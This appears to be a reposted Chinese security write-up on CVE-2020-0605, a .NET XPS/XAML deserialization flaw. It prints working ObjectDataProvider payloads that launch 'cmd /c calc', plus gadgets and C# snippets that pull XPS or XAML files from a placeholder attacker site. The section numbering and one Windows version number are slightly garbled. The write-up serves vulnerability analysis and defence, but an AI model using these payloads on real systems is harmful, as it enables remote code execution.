CVE-2020-0605:.NET處理XPS文件時的命令執行

2021-02-07 邑安全
1. 前言

微軟近期修復了許多與XPS文件有關的反序列化漏洞,其中就包括CVE-2020-0605,XPS文件用於作為PDF文件的替代品,但其並未像後者那樣普及,微軟已在Win10 1083 +中將XPS Viewer默認安裝,不過XPS Viewer不調用.NET來讀取XPS文件,因此不受該漏洞影響。該漏洞的補丁在今年一月就發布了,但是補丁不夠完善,然後在今年五月對補丁進行了完善。該漏洞可用於攻擊所有使用.NET處理XPS文件的業務場景,其已被確認的漏洞思路也可用於開發其它XAML反序列化漏洞的利用鏈。

2. 技術分析

一個XPS文件就像一個壓縮包,其內包含多類文件,例如圖像、字體以及XML文檔。.NET中基於XAML來序列化處理XPS文件中的XML文件。
一個簡單的XPS文件結構如下:

File.xps\DiscardControl.xml
File.xps\FixedDocumentSequence.fdseq
File.xps\[Content_Types].xml
File.xps\Documents\1\FixedDocument.fdoc
File.xps\Documents\1\Pages\1.fpage
File.xps\Documents\1\Pages\_rels\1.fpage.rels
File.xps\Documents\1\_rels\FixedDocument.fdoc.rels
File.xps\Metadata\Job_PT-inqy3ql9shqm2dc_mcqr93k5g.xml
File.xps\Metadata\SharedEmpty_PT-cn4rss5oojtjhxzju9tpamz4f.xml
File.xps\Resources\Fonts\0D7703BF-30CA-4254-ABA0-1A8892E2A101.odttf
File.xps\Resources\Images\00F8CA61-B050-4B6A-AFEF-139AA015AC08.png
File.xps\_rels\.rels
File.xps\_rels\FixedDocumentSequence.fdseq.rels

其中帶有.fdseql、.fdoc、.fpage的文件使用了XAML序列化進程。不過如果在[Content_Types].xml文件中定義了合適的類型,也可以使用其他自定義的後綴名。
ysoserial項目中提供了以下通用exp以在讀取XPS文件時來命令執行:

<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalc"
ObjectType="{x:Type Diag:Process}"
MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>/c calc</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>

一月份給出的補丁僅增加了對.fdseq格式文件的安全校驗,不過仍可使用其它文件來觸發漏洞。
舉兩個怎樣在.NET場景中讀取XPS文件的例子,如下:

XpsDocument

XpsDocument myDoc = new XpsDocument(@"http://[attackersite]/test.xps", FileAccess.Read);
var a = myDoc.GetFixedDocumentSequence();

LocalPrintServer + defaultPrintQueue

PrintQueue defaultPrintQueue = LocalPrintServer.GetDefaultPrintQueue();
PrintSystemJobInfo xpsPrintJob = defaultPrintQueue.AddJob("test", @"http://[attackersite]/test.xps", false);

不過我們測試過程中發現XPS文件中的BAML(XAML的編譯版本)文件無法觸發漏洞,它們會導致內部錯誤。
### 3.1. 受影響的.NET 內部類
註:internal class被譯為了內部類,該internal修飾符表示被修飾的類或方法其訪問權限僅限於當前程序集,關於C#中internal關鍵字的相關資料可見此
.NET其System.Windows.Documents命名空間下存在XpsValidatingLoader類,其中的Load()和Validate()方法在處理惡意XAML指令時可能會導致代碼執行,因為它們都最終調用了XamlReader.Load()方法。
關係圖如下:

System.Windows.Documents.XpsValidatingLoader為內部類

System.Windows.Documents.FixedDocument

System.Windows.Documents.PageContent

System.Windows.Documents.FixedDocument

System.Windows.Documents.DocumentReference

其內部方法Load在以下類中被調用:

其內部方法Validate在以下類中被調用:

然後,上述所受影響的類最終可被其它公共類中所調用。

2.2. 一些基於XAML的Gadgets2.2.1. FixedDocument/FixedDocumentSequence + xaml引用

<FixedDocument xmlns="http://schemas.microsoft.com/xps/2005/06">
<PageContent Source="http://[attackersite]/payload.xaml" Height="1056" Width="816" />
</FixedDocument>

或者

<FixedDocumentSequence xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
<DocumentReference Source="http://[attackersite]/payload.xaml" />
</FixedDocumentSequence>

2.2.2. FixedDocument/FixedDocumentSequence類中的Resources屬性

<FixedDocument xmlns="http://schemas.microsoft.com/xps/2005/06" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<FixedDocument.Resources>
<ObjectDataProvider MethodName="Start" x:Key="">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
</FixedDocument.Resources>
</FixedDocument>

或者

<FixedDocumentSequence xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<FixedDocumentSequence.Resources>
<ObjectDataProvider MethodName="Start" x:Key="">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
</FixedDocumentSequence.Resources>
</FixedDocumentSequence>

轉自先知社區

歡迎掃描關注我們,及時了解最新安全動態、學習最潮流的安全姿勢!



相關焦點

  • CVE-2020-11107:XAMPP任意命令執行漏洞復現
    攻擊者可能會修改「 xampp-contol.ini」,將其設置為惡意.exe或.bat文件的值,該文件將在其他用戶嘗試通過控制面板打開文件後執行。目前此問題不會影響Linux或OS X平臺。當攻擊者將編輯器的值設置為惡意的.exe文件或.bat文件,與此同時如果有管理員帳號通過XAMPP控制面板查看apache的日誌文件,便會執行惡意的.exe文件或.bat文件,以此達到任意命令執行。
  • TeamViewer 遠程代碼執行漏洞通告 (CVE-2020-13699)
    2020年8月6日,TeamViewer官方發布了TeamViewer URL處理的風險通告。TeamViewer存在未引用的搜索路徑或元素的安全缺陷,由於應用程式沒有正確引用它的自定義URI處理程序,當安裝了TeamViewer的易受攻擊版本的用戶訪問惡意創建的網站時,可能會被黑客利用。深信服安全研究團隊依據漏洞重要性和影響力進行評估,作出漏洞通告。
  • 漏洞風險提示 | Windows DNS Server 遠程代碼執行漏洞(CVE-2020-1350)
    Windows DNS Server 遠程代碼執行漏洞(CVE-2020-1350)7 月 14 日,微軟官方發布安全更新,其中修復了一處存在於 Windows DNS Server 中的遠程代碼執行漏洞。
  • 關於這些年來Windows遠程代碼執行漏洞CVE
    SrvOs2FeaListToNt在處理FEA(File Extended Attributes)轉換時,在大非分頁池(內核的數據結構,Large Non-Paged Kernel Pool)上存在緩衝區溢出。
  • CVE-2020-1048、CVE-2020-1337漏洞原理及利用
    這個漏洞的核心原理在於Windows添加印表機時,對port name的檢查函數可以被繞過,設置為任意文件,因此我們可以把任意內容輸出到port name對應的系統文件(如某個dll)中,實現權限提升。經過補丁後,緊隨其後的CVE-2020-1337又有姿勢可以繞檢查。
  • 【漏洞分析】NVIDIA任意文件寫入命令執行(CVE-2019-5674)
    由於GFE在寫入日誌文件時使用的是SYSTEM用戶權限,這種不安全的權限設置將導致任意系統文件均可被重寫。除此之外,日誌文件中的數據也是用戶可控制的,攻擊者將可以向日誌文件中注入控制命令,然後將其存儲為batch文件來執行並實現提權。
  • Draytek企業網絡設備命令注入復現(CVE-2020-8515)
    一、漏洞描述DrayTek URI未能正確處理SHELL字符,遠程攻擊者可以利用該漏洞提交特殊的請求,可以ROOT權限執行任意命令
  • Webmin遠程命令執行漏洞預警(CVE-2019-15107)
    長按二維碼關注御見威脅情報中心背景近日,Webmin被爆出1.920版本之前存在一個遠程命令執行漏洞(CVE-2019-15107),當用戶開啟Webmin密碼重置功能後,攻擊者利用該漏洞可在易受損系統中執行任意命令,進而獲取系統Shell。
  • 漏洞預警|Ghostscript沙箱繞過任意文件讀取高危漏洞(CVE-2019-10216)
    漏洞背景近日,Artifex官方修復了CVE-2019-10216高危漏洞,此該漏洞可以直接繞過 Ghostscript 的安全沙箱,攻擊者可以讀取任意文件或命令執行廣泛應用於Linux系列作業系統,如Unix、Mac OS X、VMS、Windows、OS/2和Mac OS classic,其中的ImageMagick、python-matplotlib、libmagick 等圖像處理軟體均使用了Ghostscript。
  • CVE-2020-2883漏洞復現
    Update)中,兩個針對 WebLogic Server ,CVSS 3.0評分為 9.8的嚴重漏洞(CVE-2020-2883、CVE-2020-2884),允許未經身份驗證的攻擊者通過T3協議網絡訪問並破壞易受攻擊的WebLogic Server,成功的漏洞利用可導致WebLogic Server被攻擊者接管,從而造成遠程代碼執行。
  • WordPress文件管理器RCE漏洞在野利用的捕獲(CVE-2020-25213)
    File Manager插件中的文件上傳漏洞。成功利用此漏洞,攻擊者可以上傳具有任意名稱和擴展名的任意文件,從而在目標Web伺服器上導致遠程執行代碼(RCE)。攻擊者使用此漏洞來部署webshell,這些webshell又用於部署Kinsing惡意軟體,該惡意軟體會運行來自H2miner家族的惡意cryptominer。基於Golang語言,用於對容器環境的加密劫持攻擊。
  • Windows SMB 協議遠程代碼執行漏洞分析(CVE-2020-1301)
    晏子霜@Pentes7eam漏洞名稱Windows SMB 協議遠程代碼執行漏洞類型遠程代碼執行漏洞時間
  • CVE-2020-5902: F5 BIG-IP 遠程代碼執行漏洞分析
    未授權的遠程攻擊者通過向漏洞頁面發送特製的請求包,可以造成任意 Java 代碼執行。進而控制 F5 BIG-IP 的全部功能,包括但不限於: 執行任意系統命令、開啟/禁用服務、創建/刪除伺服器端文件等,使用官方的httpd配置緩解修複方案仍可造成反序列化代碼執行漏洞。該漏洞影響控制面板受影響,不影響數據面板。
  • GRUB2 BootHole漏洞 (CVE-2020-10713) 通告
    0x01 漏洞詳情BootHole漏洞是解析grub.cfg文件時在GRUB2中發生的緩衝區溢出。此配置文件是通常位於EFI系統分區中的外部文件,因此可以由具有管理員特權的攻擊者修改,而無需更改已籤名供應商shim和GRUB2 bootloader可執行文件的完整性。
  • 微軟Exchange伺服器遠程代碼執行漏洞復現分析[CVE-2020-0688]
    圖1:包含靜態validationKey的web.config文件一部分數據。漏洞原理由於使用了靜態密鑰,經過身份驗證的攻擊者可以誘使伺服器反序列化惡意製作的ViewState數據。藉助YSoSerial.net,攻擊者可以以system權限在Exchange伺服器的控制面板上執行任意.NET代碼。
  • NVIDIA任意文件寫入命令執行(CVE-2019-5674)
    由於GFE在寫入日誌文件時使用的是SYSTEM用戶權限,這種不安全的權限設置將導致任意系統文件均可被重寫。除此之外,日誌文件中的數據也是用戶可控制的,攻擊者將可以向日誌文件中注入控制命令,然後將其存儲為batch文件來執行並實現提權。
  • CVE-2020-0601 Windows CryptoAPI驗證繞過漏洞通告
    攻擊場景包括:1.使用偽造的證書對惡意的可執行文件進行籤名,使文件看起來來自可信的來源。2.進行中間人攻擊並解密用戶連接到受影響軟體的機密信息。2020年1月份的安全更新修復的其它部分嚴重漏洞還包括:CVE-2020-0609/CVE-2020-0610:遠程桌面網關遠程代碼執行漏洞,攻擊者通過RDP向目標系統遠程桌面網關發送惡意的請求可能導致遠程代碼執行。微軟為Windows Server 2012/2012 R2/2016/2019發布了補丁。
  • CVE-2020-13699: TeamViewer 用戶密碼破解漏洞通告
    報告編號:B6-2020-081002報告來源:360CERT報告作者:360CERT更新日期:2020-08-100x01 漏洞簡述2020年08月10日,360CERT監測發現TeamViewer官方發布了TeamViewerURL處理的風險通告,該漏洞編號為CVE-2020-13699,漏洞等級:高危,漏洞評分:8.8分。
  • CVE-2021-3129-Laravel Debug mode 遠程代碼執行漏洞
    Laravel開啟了Debug模式時,由於Laravel自帶的Ignition 組件對file_get_contents()和file_put_contents()函數的不安全使用,攻擊者可以通過發起惡意請求,構造惡意Log文件等方式觸發Phar反序列化,最終造成遠程代碼執行。
  • 漏洞預警|Jackson遠程代碼執行高危漏洞分析(CVE-2019-12384)
    觸發條件觸發這個Jackson漏洞需要滿足如下要求:1、目標應用接收來不可信客戶端發送的JSON數據;2、目標應用使用多態類型處理方式來處理JDBC的全稱是「(J)ava (D)ata(b)ase (C)onnectivity」,這是一個Java API,用來連接資料庫並執行查詢語句,也是JavaSE(Java Standard Edition)的一部分。此外,JDBC使用了字符串到類的自動化映射,因此在整條攻擊鏈中,這是用來加載並執行更多「gadget」的絕佳目標。